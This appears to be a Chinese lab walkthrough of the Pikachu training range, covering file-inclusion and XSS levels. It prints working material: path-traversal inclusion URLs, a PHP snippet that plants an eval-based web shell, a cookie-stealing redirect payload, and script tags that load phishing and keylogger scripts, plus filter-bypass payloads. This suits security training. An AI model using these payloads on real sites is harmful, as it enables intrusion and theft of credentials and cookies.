Pikachu靶场之文件包含漏洞详解
Posted caker丶
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pikachu靶场之文件包含漏洞详解相关的知识,希望对你有一定的参考价值。
Pikachu靶场之文件包含漏洞详解
前言
本篇文章用于巩固对自己文件包含漏洞的学习总结,其中部分内容借鉴了以下博客。
链接: pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)
链接: 【文件包含】文件包含漏洞知识总结
文件包含漏洞简述
1.漏洞描述
和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。
什么叫包含呢?以php为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
区别如下:
- require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
- include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
- include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
- require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
2.漏洞原因
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析。
3.漏洞危害
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
4.如何防御
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件
6、做好管理员权限划分,做好文件的权限管理
第一关 File Inclusion(local)
进入关卡发现有一个下拉框,可以选NBA球星。
我们随机选一个进行点击,比如这里我选取Kobe,页面是下图这样,url是
http://www.pikachu.com:90/vul/fileinclude/fi_local.phpfilename=file1.php&submit=%E6%8F%90%E4%BA%A4
可见其中包含了一个文件file1.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞。
1.尝试读取"隐藏"文件
首先,由于观察到上图的filename是file1.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。
把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。
那有没有可能这套文件里面就有废弃或者隐藏的文件咧?
把burpsuite请出来爆破一下:
把下图这个请求报文send to intruder
然后像下面这样设置一下:
爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破
把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file14.php、file100.php
盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:
file6.php果然是个包含用户名和密码的隐藏文件
file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
file14.php和file100.php都是一样的报错信息,这里就不贴图了。
2.读取不同文件夹文件
由上图可以看出网站根目录是: D:\\study\\apache-tomcat-8.5.33\\xiaopi\\phpstudy_pro\\WWW\\pikachu-master\\
我们在此目录下写入一个shell.txt格式的php代码
上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为 …/…/…/shell.txt,代入url中组成payload:
(这里应该是两个点,但是由于csdn显示问题显示成3个点)
http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=../../../shell.txt&submit=%E6%8F%90%E4%BA%A4
php代码被成功解析
3.读取系统文件
windows系统肯定有的文件是C:\\Windows\\win.ini,用这个来尝试有没有文件包含漏洞。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为C:/…/…/…/…/windows/win.ini,代入url中组成payload:
http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=C:/../../../../Windows\\win.ini&submit=%E6%8F%90%E4%BA%A4
成功读取系统文件
4.结合文件上传getshell
在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为7894046247af76131f8422881876.png,其内容包含下图所示的一句话木马。
上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:
http://www.pikachu.com:90/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/02/7894046247af76131f8422881876.png&submit=%E6%8F%90%E4%BA%A4
用蚁剑连接:
连接成功
第二关 File Inclusion(remote)
这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?
url中把include()函数的完整参数给出来了。
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径
包含写木马的文件
该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马写入shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[caker]) ?> ' ); ?>
payload:
http://www.pikachu.com:90/vul/fileinclude/fi_remote.php?filename=D:\\study\\apache-tomcat-8.5.33\\xiaopi\\phpstudy_pro\\WWW\\pikachu-master\\vul\\fileinclude\\shell.txt&submit=%E6%8F%90%E4%BA%A4
包含文件shell.txt
服务器请求shell.txt,由于确定有文件包含漏洞,此时test.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。
虽然没有回显
进入目录查看发现shell.php已经写入
用蚁剑进行连接
连接成功
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
PiKaChu通关 XSS漏洞
一、反射型(get)
如下图中,我们输入了20个1,发现不能再输入了,我们猜测是有字数限制:
F12找到输入框,发现我们输入的上限只有20个字符,删除或修改为100即可:
payload:
<script>alert('拈花倾城')</script>
弹窗如下图:
二、反射型(post)
右上角的提示中有登陆的账号密码
登陆成功之后我们发现界面和get型是一样的,但是本质是不同的
1. GET方式中, 攻击代码是直接暴露在URL中的
2. POST方式参数内容不会出现在URL中
搭建环境
pikachu靶场自带了一个xss后台, 地址为:
\\pikachu\\pkxss\\index.php
ps: pkxss目录下还有一个inc/config.inc.php文件需要配置, 配置完成之后, 访问上面地址, 初始化数据库:
配置成功之后访问后台:
登陆成功之后,界面有三个模块,我们选择cookie
这里是存放受害人cookie的地方:
首先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址:
诱使用户点击攻击网址:
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu%2fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E &submit=submit
127.0.0.1是攻击者收集受害用户cookie的服务器地址(也是本地), (需要进行URL编码才能访问)
访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了:
如下图,存放着两个cookie的信息:
三、存储型xss
我们发现是一个留言板,留言板将我们输入的内容写到网页中, 并且存储到网站的数据库, 当利用xss漏洞时, 那么受到的攻击将是持久化的,我们再次访问也是可以看到的:
payload:
<script>alert('拈花倾城')</script>
每次当不同的用户访问这个留言板时, 都会触发这个js代码, 因为是存储在数据库里(存储型)。
漏洞利用
1、注入跳转网页
payload
<script>document.location='https://www.csdn.com/'</script>
跳转成功:
2、网站钓鱼
在靶场的pkxss目录下, 有一个xfish目录, 里面是相关的钓鱼脚本:
钓鱼脚本使用的是 Basic认证 ,
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框,
这里用的是靶场目录下的: pkxss/xfish/fish.php:
然后将攻击恶意代码嵌入留言板中:
<script src='http://127.0.0.1/pikachu/pkxss/xfish/fish.php'>alert('拈花倾城')</script>
当受害者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上, 这里的地址为:
http://127.0.0.1/pikachu/pkxss/xfish/pkxss_fish_result.php
可以看到刚刚被钓鱼的用户信息:
3、获取键盘记录
攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js :
其中, 127.0.0.1是攻击者的地址
上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php:
payload:
<script src='http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js'></script>
访问xss键盘记录后台:
http://127.0.0.1/pikachu/pkxss/rkeypress/pkxss_keypress_result.php
四、DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树:
观察一下这个题目,当我们输入任何数据都会转换为一个网页:
点击what do you see页面会发生跳转:
在网页源代码也可以看到, 点击click之后生成了标签:
漏洞利用
1、利用JavaScript伪协议
javascript:alert("拈花倾城!!")
2、绕过、闭合
我们先试着插入:
<script>alter('拈花倾城')</script>
F12看看如何闭合:所以我们首先要闭合href然后补齐后面的标签< /a>,同时要在我们的语句最后加上注释
我们的payload如下:
1"></a><script>alter('拈花倾城')</script>#
发现单引号被变成双引号, 也就是说, 输入的值是被单引号闭合起来再传入标签中的, 在网页源码也可以看到:
所以我们要绕过单引号,方法如下:
' οnfοcus=alert('拈花倾城')> // a标签内部加属性
'> <img src="" onerror=alert('拈花倾城')> // 闭合出a标签, 将img标签嵌入上一级div执行
五、 DOM型XSS-X
这个题目和上个题目是一样的,payload也是一样的,主要分析一下网页请求过程。当随便输入内容并点击按钮后,发现url新增了一个test参数,点击链接, 调用domxss()函数,解析url提取出test参数值, 然后嵌入到新的a标签中。
六、XSS盲打
意思就是我们看不到弹窗,但是管理员是可以看到弹窗的。
我们发现内容是无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台当中。
倘若我们注入xss, 是无法得知是否xss被执行, 但是管理员在后台查看时, 当我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击。
这也是称为Xss盲打的原因。
管理员地址为:
pikachu/vul/xss/xssblind/admin_login.php
七、Xss之过滤
我们试着插入这个payload:
<script>alter('拈花倾城')</script>
发现并没有弹窗,而且我们上传的内容是没有显示的。f12看看网页内容:
继续分析, 发现是对script关键字进行了过滤:
漏洞利用
绕过方式有很多:
<ScRiPt>alert(’拈花倾城‘)</ScRipt> // 大小写混合绕过
<img src="" onerror=alert(’拈花倾城‘)> // img标签
八、XSS之htmlspecialchars
htmlspecialchars() 函数
PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
& 成为 &
" 成为 "
' 成为 '
< 成为 <
> 成为 >
可用引号类型
ENT_COMPAT:默认,仅编码双引号
ENT_QUOTES:编码双引号和单引号
ENT_NOQUOTES:不编码任何引号
分析
输入内容, 发现被写入了bjernsen标签作为了一个链接:
那么继续用闭合绕过的思路, 发现 " , <, >等都被转义和HTML编码了:
但是发现单引号没有被过滤掉 (htmlspecialchars函数默认是不过滤单引号的)
漏洞利用
hack' οnfοcus='alert('拈花倾城') // 单引号闭合+事件标签
javascript:alert('拈花倾城') // JavaScript伪协议
九、XSS之href输出
用户输入的url会作为a标签的href属性值:
查看网页源代码,发现左右尖括号和单引号都被html编码了,这样的话,闭合标签或者闭合属性都行不通了。
但也不是没办法了,W3School中对 标签的href属性有以下描述:
标签的 href 属性用于指定超链接目标的 URL:
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。
从上述描述可见,这边可以利用JavaScript协议,输入payload:
javascript:alert(document.cookie)
十、XSS之js输出
输入内容被动态生成到网页的js代码中了:
我们输入tmac试试:
漏洞利用
观察js代码, 发现可以用
</script><script>alert('PiKaChu-Xss完结撒花')</script>
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话, 在JS中不会把它解释会去,虽然这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \\ 对特殊字符进行转义。
希望大家可以有所收获哦!
以上是关于Pikachu靶场之文件包含漏洞详解的主要内容,如果未能解决你的问题,请参考以下文章
pikachu靶场-Unsafe Filedownload/Fileupload不安全文件的下载和上传漏洞